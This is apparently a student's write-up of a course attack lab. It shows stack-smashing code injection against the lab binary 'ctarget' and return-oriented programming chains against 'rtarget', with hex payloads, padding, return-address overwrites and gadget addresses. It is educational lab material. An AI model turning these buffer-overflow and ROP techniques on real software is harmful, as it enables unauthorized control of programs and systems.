The attack lab is a good way to start the CTF PWN. It contains the basic attack ways stack execution and ROP.
If you have not been into PWN world, this lab will lead you to a new world.
Frist of all, you have to know what is the stack in computer, which address is high to low.
Stack Execution Description
If we know the stack is executable, we can modify the return address to the stack again. And the program will run the the code of stack automatically which means we can input the malicious code to control the victim computer or conduct DDOS attack.
ROP Description
When the stack is inexecutable, we can use the ROP. ROP can use the gadgets of program to form the malicious code to conduct the attack. Ret2text, ret2shellcode, ret2syscall, ret2lib are the common ways to control the program stack.
Stack Execution Ctarget
In order to improve the difficulty of the whole lab, we don’t plan to look at the source code, but analyze the flow of the whole program and attack it through assembly code.
In the ctarget, it should attach the touch
function through the stack execution which can modify by ourself.
How to conduct the attack?
- We should know the size of stack, which can help us to cover the return address correctly.
- Learn simple asm coding.
touch1, touch2, touch3 are the phase we need to solve in this program ctarget.
The ctarget will expand the size 0x28 bytes of stack. We can input the string in the stack.
Touch1
We can attach the touch1 with no args, so that we can input any characters in 40 sizes, only focus the last return address is c0 17 40.
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 c0 17 40
The second way is
pushq $0x4017c0
ret
----- ASM CODE -------
gcc -c <asm file>
objdump -d <executable binary>
We can get the source code in heximal types.
To get the rsp address.
malicious asm coding
------------------------
68 c0 17 40 00 c3 30 30 # to jmp to the touch1
30 30 30 30 30 30 30 30 # padding
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 # cover the return address
Touch2
We need the something in rdi, and it will compare with the [rip+0x202ce2]. And rip+0x202ce2 is our cookie.
We move our cookie to rdi, and jmp to the 0x4017ec, the cookie value will store in rdi. So it will satisfy the if-statement.
The return address still will be covered by ourself. I replace the original address with address of stack.
Finished this part.
Touch3
In touch1 and touch2, we know the init rsp is 0x5561dc78. In this phase, we need to calculate the new stack address, when we fill 40 bytes stack, we need to know the new rsp address, so we can plus 48(including the cover address) with original address to get new one.
In gdb vmmap, we know the 0x55586000-0x5568600 is readable, writeable, executable.
The rdi is our stack adress + 48, after hexmatch, it will run to <touch3+67>
Asm code
movq $0x5561dca8, %rdi
% # why need to move to 0x5561dca8?
% # Because the cookie store at orginal stackaddress + 48(48 = 40 + 8)
% # 40 is code + padding, 8 is cover address
% # If we enter other address, we can't get the cookie in touch3, so it will failed.
pushq 0x4018fa
ret
The hexcode.
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
------------------------- mov stack address to rdi + padding
78 dc 61 55 00 00 00 00
------------------------- cover the address
35 39 62 39 39 37 66 61
00
------------------------- cookie in ascii style
Ctarget part have been finished :-)
ROP rtarget
phase4
rtarget is almost same as the ctarget, it add some check function in the program to check our stack.
I will use 2 ways to exploit the rtarget touch2.
We know the stack is inexecutable, we only can grab the gadgets from program itself which means use its asm code to exploit itself through malicious spliced code.
In the touch2, we know we need to pass the args of cookie. And the cookie must be in rdi, so here is two way to implement it.
padding
pop rax
cookie
mov rdi, rax
address of touch2
------------------
padding
ret
pop rdi
cookie
address of touch2
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31 ; padding
55 0c 40 00 00 00 00 00 ; ret
1b 14 40 00 00 00 00 00 ; pop rdi
fa 97 b9 59 00 00 00 00 ; cookie
ec 17 40 00 00 00 00 00 ; address of touch2
Why we need to add statement of ret in second way. Because of the stack balance, we need to ensure the rsp is a multiple of 8 or 16, that is a reason why we need to use ret statment before we pop rdi. In the first way, the ret statement will follow the pop rax automatically. So we don’t need to be worry about the stack balance.
How to find the gadgets?
We usually use the ROPgadget tool to find gadget in the program.
The first way
The second way
Last phase
The last phase point is how to move the rsp address to the rdi.
The way is moving value of rsp to rax, and then moving value of rax to rdi. rdi plus offset point to the hexadecimal of cookie.
rdi+rsi = rax
rdi = rax, we can get the final value in rdi ;-)
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
55 0c 40 00 00 00 00 00 ; ret // for stack balance
06 1a 40 00 00 00 00 00 ; mov rax,rsp ; // when program run here, rsp have been changed rsp+8
a2 19 40 00 00 00 00 00 ; mov rdi,rax ----------
83 13 40 00 00 00 00 00 ; pop rsi |
30 00 00 00 00 00 00 00 ; rsi = 0x30 |
d6 19 40 00 00 00 00 00 ; rax = rdi + rsp |----- 6*8=48 = 0x30 = offset
a2 19 40 00 00 00 00 00 ; rdi = rax |
fa 18 40 00 00 00 00 00 ; jmp touch3 |
35 39 62 39 39 37 66 61 00 -----------|
Attack lab have been finished in two days.
In general, this experiment is much better than that of domestic universities. There is a lot of knowledge that we need to learn after class.